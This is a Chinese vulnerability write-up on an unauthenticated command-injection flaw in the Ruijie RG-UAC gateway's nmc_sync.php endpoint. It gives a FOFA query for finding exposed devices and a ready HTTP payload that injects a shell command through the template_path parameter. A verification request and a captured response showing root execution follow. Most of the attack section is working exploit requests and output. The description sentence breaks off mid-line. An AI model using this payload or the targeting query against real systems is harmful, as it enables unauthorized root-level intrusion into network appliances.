R13-1锐捷-RG-UAC应用网关-RCE

漏洞描述：

锐捷RG-UAC应用管理网关 nmc_sync.php 接口处存在[命令执行漏洞](https://so.csdn.net/so/search?q=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E&spm=1001.2101.3001.7020)，未经

网站图片：

网络测绘：

fofa语法：

FOFA：app="Ruijie-RG-UAC"

漏洞复现：

payload：

```
GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|whoami%20>test.txt|cat HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:

验证

```
GET /view/systemConfig/management/test.txt HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
```


Request
数据包扫描
热加载
构造请求
GET /view/systemConfig/management/test.txt HTTP/1.1
Host : :60000
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Responses
5bytes / 60ms
HTTP/1.1 200 OK
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "873863684"
Last-Modified: Sat, 02 D
Date: Sat, 02 Dec 2023 1
Server: lighttpd/1.4.49
Content-Length: 5
root